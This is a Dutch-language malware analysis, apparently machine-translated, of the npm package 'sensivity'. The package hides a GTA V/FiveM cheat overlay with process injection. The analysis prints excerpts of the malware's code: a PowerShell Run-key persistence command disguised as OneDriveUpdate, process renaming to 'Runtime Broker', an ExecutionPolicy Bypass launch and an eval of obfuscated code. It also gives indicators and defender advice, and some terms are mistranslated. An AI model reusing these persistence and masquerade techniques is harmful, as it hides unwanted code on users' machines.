TL; DR
Het npm-pakket gevoeligheid Het programma omschrijft zichzelf als een "Gevoeligheidsregelingspaneel". Op Windows functioneert het als een hulpmiddel voor afstandsbediening en bewaking.
Het toegangspunt, launcher.js, hernoemt zijn eigen proces naar Runtime Broker, schrijft een autostart Run-key waarde genaamd OneDriveUpdate dat het pakket opnieuw opstart via een verborgen VBScript, en vervolgens PowerShell start met -ExecutionPolicy Bypassen evalueert vervolgens een versleutelde serverpayload van 171 KB samen met een native module van 6.87 MB. sens.node.
Het biedt een bedieningspaneel voor het koppelen van telefoons via TCP-poort 3000 en leest de URL uit de adresbalk van de actieve browser via Windows UIAutomation, waarbij het zoekt naar een specifiek, vooraf ingesteld YouTube-filmpje.
Twee onderdelen die eerder als zwarte vakjes werden weergegeven, zijn nu opgelost. De versleutelde server, server.obf.jsmaakt gebruik van een obfuscator.io RC4-stringarray-schema; het offline opnieuw implementeren van de decoder (zonder JavaScript uit te voeren) herstelt één extern eindpunt — https://izopi.com/check.php — samen met een ingebouwde RSA-publieke sleutel die wordt gebruikt om ondertekende licentiereacties te verifiëren.
De native module, sens.nodeHet is niet gecomprimeerd: de importtabel en ingebedde strings identificeren het als een DirectX 11 / Dear ImGui in-game overlay die aimbot-, ESP- (wallhack) en triggerbot-functies biedt, aangestuurd door remote-process injection en geheugenlees-/schrijfbewerkingen.
De strings erin verwijzen naar voertuigentiteiten en kaartlocaties die overeenkomen met GTA V / FiveM. Het npm-pakket is de wrapper voor de levering en opslag van die native module.
Het doorslaggevende signaal is operationeel, niet technisch: één anonieme uitgever bracht ongeveer zeventig versies van één pakket uit. 2.5.0 door middel van 2.5.69 — verspreid over een paar dagen, waarbij elk van hen dezelfde lanceerinrichting gebruikte.
Er zijn geen installaties hooksDe payload wordt alleen uitgevoerd wanneer het pakket wordt gestart.
De aanval: hoe werkt het?
Sensivity levert tien bestanden. Het package.json-bestand is zeer minimalistisch: geen veld voor de repository, geen licentie, een hoofd- en twee bin-aliassen (sensivity, sens) die allemaal verwijzen naar launcher.js, en een startscript van node launcher.js. Er is geen postinstall of preinstall. Er wordt niets uitgevoerd bij npm install. Het onderstaande gedrag treedt op wanneer een gebruiker het pakket start — via de bin shim, het startscript of een require.
Het tarball-bestand bevat de launcher, een versleutelde server, de native module, een Visual Basic-script en een public/web-directory voor het configuratiescherm. launcher.js is de leesbare orchestrator; de logica die tijdens de uitvoering van belang is, bevindt zich in de twee bestanden die het laadt: een versleutelde server en een gecompileerde native module, die beide hieronder worden beschreven.
Procesvermomming en een nep-OneDrive-updater
In de beginfase van de uitvoering stelt launcher.js zijn eigen procesnaam tweemaal in:
javascript process.title = 'Runtime Broker'; Runtime Broker is een legitiem Windows-proces (RuntimeBroker.exe) dat de app-machtigingen beheert. Door een Node-proces dezelfde naam te geven, ziet u bij een snelle blik in Taakbeheer niets ongewoons.
De persistentie wordt via PowerShell geschreven in plaats van via een directe register-API:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); De autostartwaarde heet OneDriveUpdate en verwijst niet rechtstreeks naar het pakket. Het verwijst naar wscript.exe dat het meegeleverde OneDrive.Standalone.Updater.vbs-script uitvoert. Dat script herstart node launcher.js in een verborgen venster. Zowel de naam van de Run-sleutel als de bestandsnaam van het VBScript-script zijn voorzien van Microsoft-branding, waardoor de autostartvermelding de indruk wekt van een routinematige OneDrive-taak.
PowerShell met omzeiling van het uitvoeringsbeleid
De launcher start herhaaldelijk PowerShell op. De fout die door scanners als kritiek wordt aangemerkt, is het opstarten van een gegenereerd .ps1-bestand waarbij het uitvoeringsbeleid is uitgeschakeld.
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); ExecutionPolicy Bypass verwijdert de lokale controle op de ondertekening van scripts voor die specifieke aanroep. De gegenereerde scripts verzorgen de browserbewaking en vensterdetectie die in de volgende sectie worden beschreven.
De versleutelde server en de native module
Na de installatie laadt en voert launcher.js de daadwerkelijke code uit:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8')); server.obf.js is 171 KB aan _0x-array-obfuscatie — het JavaScript-patroon waarbij elke string en identifier wordt vervangen door een index in een willekeurig gerangschikte array, die vervolgens tijdens runtime wordt gedereferentieerd. Het schema is de RC4-variant die is ontwikkeld door obfuscator.io: een enkele decoderfunctie decodeert een array-item met base64 en decodeert het vervolgens met RC4 met een sleutel die per aanroep wordt gebruikt. Door die decoder in een apart script te herimplementeren — waarbij alleen de herimplementatie wordt uitgevoerd op de geëxtraheerde string-array met 821 items, en nooit op de JavaScript-code van het pakket zelf — wordt de code netjes ontrafeld. Wat naar boven komt is bescheiden, maar wel de moeite waard.cisive: één externe URL, https://izopi.com/check.php`, toegewezen aan een LICENSE_URL-constante; een ingebedde RSA PUBLIC_KEY_PEM`; de lokale paneelroutes /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off en /trigger/status; en de strings child_process, crypto en [Sensivity] sens.node loaded — de laatste is de exacte logregel die de launcher herschrijft naar program module loaded. Het eindpunt is een licentiecontrole: de client verstuurt een identificatiecode (de versleutelde server formatteert een Discord ID: %s-string) en de RSA-sleutel verifieert het ondertekende antwoord van de server.
sens.node is een gecompileerde native add-on van 6.87 MB en is niet gecomprimeerd — de sectie-entropie ligt tussen 5.6 en 6.6 en de PE-import- en exporttabellen zijn intact, waardoor de mogelijkheden direct leesbaar zijn. Het exporteert napi_register_module_v1, de standard Het Node N-API-ingangspunt, dus de geëvalueerde server laadt het met een simpele `require`. De importtabel is veelzeggend. Vanuit KERNEL32 haalt het OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules en Process32First/NextW op — de canonieke set voor het lokaliseren van een ander proces, het toewijzen van geheugen daarin en het lezen of schrijven van dat geheugen. Vanuit USER32 haalt het GetAsyncKeyState, GetKeyState, mouse_event en SetCursorPos op; het linkt d3d11.dll, D3DCOMPILER_43 en dwmapi voor een overlay op het scherm, en de volledige WINHTTP-set voor netwerkoproepen. De ingebedde tekstfragmenten benoemen de functieset zonder enige ambiguïteit: Aimbot inschakelen, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat gedetecteerd, en de Dear ImGui-banner Dear ImGui 1.91.3 WIP. Locatie- en entiteitstekstfragmenten zoals Grapeseed Medical Clinic en de voertuig-ESP-vocabulaire komen overeen met GTA V / FiveM.
De splitsing is in feite opzettelijk: het leesbare launcher.js-bestand bevat alleen de onderdelen die een scanner gemakkelijk kan lezen — persistentie, masquerade, de eval-aanroep zelf — terwijl de obfuscatie de ene externe host verbergt waarmee de runtime contact maakt, en het binaire bestand de logica voor de game-overlay en procesinjectie bevat. De launcher is de dunne, controleerbare shell; de geobfusceerde server verbergt de netwerkidentiteit; de native module is de payload. We beschrijven de imports en strings van het binaire bestand als leesbaar; we leiden er het doel van de operator niet uit af.
Een bedieningspaneel voor het koppelen van telefoons op poort 3000.
De launcher beheert een lokale webserver op TCP-poort 3000 en behandelt deze als een singleton. Hij controleert of er een listener bestaat en wist deze voordat hij de verbinding tot stand brengt.
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Het paneel is bereikbaar via http://localhost:3000, met een hardgecodeerde LAN-fallback-URL van http://192.168.1.16:3000. De map public/ en het gedrag van het paneel komen overeen met een QR-koppelingsproces: een telefoon scant een code en maakt verbinding met de host als afstandsbediening. Er verschijnt geen extern command-and-control-domein in platte tekst in de launcher, maar zoals de bovenstaande deobfuscatie laat zien, is er wel een aanwezig op de geobfusceerde server: het licentie-eindpunt izopi.com. Het paneel zelf is lokaal en LAN-bereikbaar; de enige uitgaande host is die licentiecontrole.
Een losgekoppeld supervisor/worker-model houdt het proces in leven. De launcher start zichzelf opnieuw op met de omgevingsvlaggen SENSIVITY_SUPERVISOR en SENSIVITY_WORKER, waarbij elk child-proces verborgen draait. Als een proces wordt beëindigd, blijft er een watchdog achter die het opnieuw kan starten.
Browserbewaking en het YouTube-signaal
Het meest specifieke gedrag is het monitoren van de browser. launcher.js bouwt een PowerShell-script dat Windows UIAutomation aanstuurt om de adresbalk van een actieve browser uit te lezen:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern retourneert de tekstinhoud van een UI-element. Toegepast op het bewerkingsveld in de adresbalk van een browser, retourneert het de URL die het slachtoffer momenteel bekijkt — zonder browserextensie, zonder het profiel op de schijf aan te raken en zonder API-hook. Het gegenereerde script doorloopt een lijst met $browserNames en extraheert de URL of venstertitel van de browser die op de voorgrond actief is.
Die URL wordt getest aan de hand van één vast ingesteld doel:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; De launcher controleert elke drie seconden of er een browservenster met YouTube open is. De gegenereerde PowerShell-opdracht bevat een combinatie van Get-YouTubeBrowser en Test-TargetYouTubeUrl die overeenkomt met de video-ID. Het waarneembare effect is tweeledig: de actieve browser-URL wordt van het scherm van het slachtoffer afgelezen en de interactie van de host met een specifieke YouTube-video wordt gedetecteerd. We beschrijven het mechanisme en het doelwit; we leiden hieruit geen motief af.
De uitlezing van de adresbalk wordt door de scanner aangeduid als sensitive_data_enumeration — een Process::env- en UIAutomation-bron die een netwerkgeschikte runtime voedt. Op zichzelf lijkt het onschuldig en wordt het pas verdacht zodra de data-levenscyclus van de UIAutomation-bron naar de versleutelde server wordt getraceerd.
Tijdlijn en versie-evolutie
Gevoeligheid is geen eenmalige upload. Het uitgeversaccount heeft ongeveer zeventig gepubliceerde versies van dit ene pakket, en er bleven tijdens de beoordelingsperiode nieuwe versies binnenkomen. De launcher wordt in de 2.5.x-reeks steeds uitgebreider, terwijl de persistentie en het laden van de payload ongewijzigd blijven.
| Datum (UTC) | Waargenomen versies | Launcher-status |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Basis QR-paneellauncher; persistentie van de uitvoeringssleutel; evaluatie van een versleutelde server. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Dezelfde vingerafdruk; onderdrukking van console-traceringen. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Voegt een vastgepind YouTube-betrokkenheidsdoel toe wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Het opvullen van hiaten door herpublicatie over het hele bereik; toezichthoudende instantie voor leidinggevenden/werknemers. |
Als we de launcher bekijken in de gedownloade versies 2.5.0, 2.5.36 en 2.5.69, zien we vier niveaus. De vroegste builds bevatten de basislauncher voor QR-koppeling. Vanaf 2.5.33 verschijnt de UIAutomation-adresbalkverzamelaar. Vanaf 2.5.58 wordt een beheerlaag voor supervisors toegevoegd. Vanaf 2.5.64 maakt de losgekoppelde supervisor/worker-watchdog de set compleet. Vier dingen blijven echter constant: de OneDriveUpdate Run-sleutel, de OneDrive.Standalone.Updater.vbs-dropper, de geëvalueerde server.obf.js en de native module sens.node.
De updategolf van 5 juni 2026 is opmerkelijk omdat daarin de lagere versienummers — 2.5.0 tot en met 2.5.15 — opnieuw werden gepubliceerd, die lager liggen dan de versies die enkele dagen eerder waren bevestigd. Het gevolg is een aaneengesloten reeks 2.5.x-versies in het register, waarbij elke versie dezelfde launcher bevat.
Indicatoren van compromissen
Alle onderstaande indicatoren zijn rechtstreeks uit het tarball-bestand van het pakket gelezen. De leesbare launcher bevat alleen loopback en één privé-LAN-adres; de externe hostnaam, izopi.com, werd achterhaald door server.obf.js offline te deobfusceren.
| Type | Indicator | Notes |
|---|---|---|
| Pakket | npm:sensivity (ongeveer 70 versies, 2.5.0-2.5.69) | Uitgever van één enkel pakket; geen repository; niet gelicentieerd. |
| Dien in | launcher.js | Leesbare orchestrator; hoofd- en bin-doel. |
| Dien in | server.obf.js (≈171 KB) | obfuscator.io RC4 string-array payload, geladen via eval(fs.readFileSync(...)). |
| Dien in | sens.node (ongeveer 6.87 MB) | PE32+ x86-64 Node N-API add-on; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| Dien in | OneDrive.Standalone.Updater.vbs | Verborgen herstarter (node launcher.js). |
| Netwerk | https://izopi.com/check.php | Het licentie-/authenticatie-eindpunt is hersteld van de versleutelde server; de ingebedde RSA-sleutel verifieert de antwoorden. |
| Bekwaamheid | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Mogelijkheid tot injectie van processen op afstand en lezen/schrijven van geheugen. |
| Bekwaamheid | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | DirectX 11 / ImGui game-overlay met aimbot-, ESP- en triggerbot-functionaliteit. |
| register | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Autostartwaarde die wijst naar wscript.exe en de VBScript-launcher. |
| Proces | process.title = 'Runtime Broker' | Doet zich voor als het legitieme Windows Runtime Broker-proces. |
| Behavioral | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Het uitvoeringsbeleid wordt omzeild voor gegenereerde PowerShell-scripts. |
| Behavioral | UIAutomation ValuePattern lees de adresbalk van de browser | Leest de URL van het actieve browservenster. |
| Behavioral | Doel-video-ID wJWta2lO0Lw; YouTube-enquête van 3 seconden | Vastgezet signaal voor het monitoren van betrokkenheid. |
| Netwerk | http://localhost:3000, terugval http://192.168.1.16:3000 | QR-koppelingsbedieningspaneel lokaal en op het LAN beschikbaar. |
| Milieu | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Losgekoppelde waakhondprocescoördinatievlaggen. |
Toeschrijving, impact en verdedigers
Het pakket wordt gepubliceerd door één npm-account waarvan het opgegeven e-mailadres een niet-geverifieerd Gmail-adres is. Het account heeft een zeer negatieve reputatiescore bij de registry, beheert en publiceert alleen dit ene pakket en heeft geen gekoppelde broncode-repository. We hebben het eigenaarschap van het e-mailadres niet geverifieerd en we schrijven de campagne toe aan het uitgeversaccount, niet aan een specifiek persoon. De launcher bevat geen infrastructuur voor onversleutelde code, maar de enige externe host is nu bekend: de versleutelde server neemt contact op met izopi.com voor een licentiecontrole, en de native module — die wordt gelezen uit de importtabel en strings in plaats van instructie voor instructie te worden omgekeerd — is een game-overlay die in het geheugen van een ander proces injecteert en dit uitleest.
De merkbare impact treft Windows-gebruikers die Sensivity installeren en uitvoeren in de verwachting dat het een hulpprogramma in het configuratiescherm is. Op die systemen zorgt het pakket voor een permanente automatische start, vermomd als een OneDrive-taak, hernoemt het zichzelf om een systeemproces na te bootsen, leest het de URL van wat de gebruiker ook aan het bekijken is en opent het een koppelingspaneel waarmee de machine via het lokale netwerk aan een externe computer wordt gekoppeld. De supervisor/worker-functie zorgt ervoor dat het pakket niet wordt verwijderd door het proces één keer te beëindigen; de vermelding in het sneltoetsmenu blijft behouden na herstarts. macOS en Linux worden niet door de launcher ondersteund — de paden voor persistentie, PowerShell en UIAutomation zijn alleen voor Windows.
De constante wisseling van zeventig versies is een trend die het vermelden waard is. Door één pakket tientallen keren binnen een paar dagen opnieuw te publiceren, inclusief het aanvullen van versienummers die lager zijn dan de reeds verwijderde, blijft er een actieve kopie in het register staan tussen de verwijderingen door. Dit frustreert blokkeerlijsten die versienummers vastleggen. Een vermelding op een blokkeerlijst voor sensivity@2.5.61 heeft geen effect op sensivity@2.5.3 die de volgende dag opnieuw wordt gepubliceerd.
Verdedigers kunnen op de volgende manieren actie ondernemen:
- Blokkeer de gevoeligheid voor pakketnamen volledig in registry-proxy- en CI-whitelists. Het vastzetten van individuele versies verliest terrein ten opzichte van de herpublicatiefrequentie; de naam is de duurzame indicator.
- Zoek naar een Run-waarde met de naam OneDriveUpdate waarvan de gegevens wscript.exe aanroepen in combinatie met een .vbs-bestand in een gebruikersspecifiek pad. De officiële OneDrive-updater is niet op deze manier geregistreerd.
- Waarschuwing voor een Node.js-proces waarvan de process.title 'Runtime Broker' is. De echte broker is RuntimeBroker.exe, niet een Node-runtime.
- Markeer de npm-installatie-time-fetches van pakketten die een gecompileerde .node-add-on bevatten, plus een eval(fs.readFileSync(…)) van een bijbehorend .obf.js-bestand. Die combinatie — een ondoorzichtige native binaire code die naast een versleutelde tekstpayload wordt geladen — is hier de structurele aanwijzing, onafhankelijk van enige string-IOC.
- Beschouw elke lokaal gebonden listener op poort 3000 die is gestart door een onverwacht Node-proces als verdacht op beheerde Windows-eindpunten.
- Blokkeer of waarschuw bij uitgaande verzoeken naar izopi.com vanaf ontwikkelaars- of eindgebruikershosts; dit is het enige externe eindpunt van het pakket, bereikbaar via /check.php vanaf de versleutelde server.
- Controleer voor elke meegeleverde .node-add-on de importtabel voordat u deze vertrouwt. De combinatie OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread is een injectie van processen op afstand, ongeacht wat het pakket beweert te doen; hier staat het naast een Direct3D-overlay en aimbot/ESP/triggerbot-strings.
Voor statische analyse pipelineDe structuur van de installatie blijft consistent, ongeacht de versie-update: een installatieprofiel zonder netwerkverbinding, een procesnaam die gekoppeld is aan een bekende systeemprocesnaam, een schrijfopdracht via PowerShell en een evaluatie van een bestand dat van de schijf is gelezen. Geen van deze elementen is afhankelijk van een domein, een IP-adres of een versienummer dat bij de volgende herpublicatie kan worden gewijzigd.
Referenties
[npm: gevoeligheid] – registerpagina voor de hier besproken pakketversie; kan worden verwijderd.





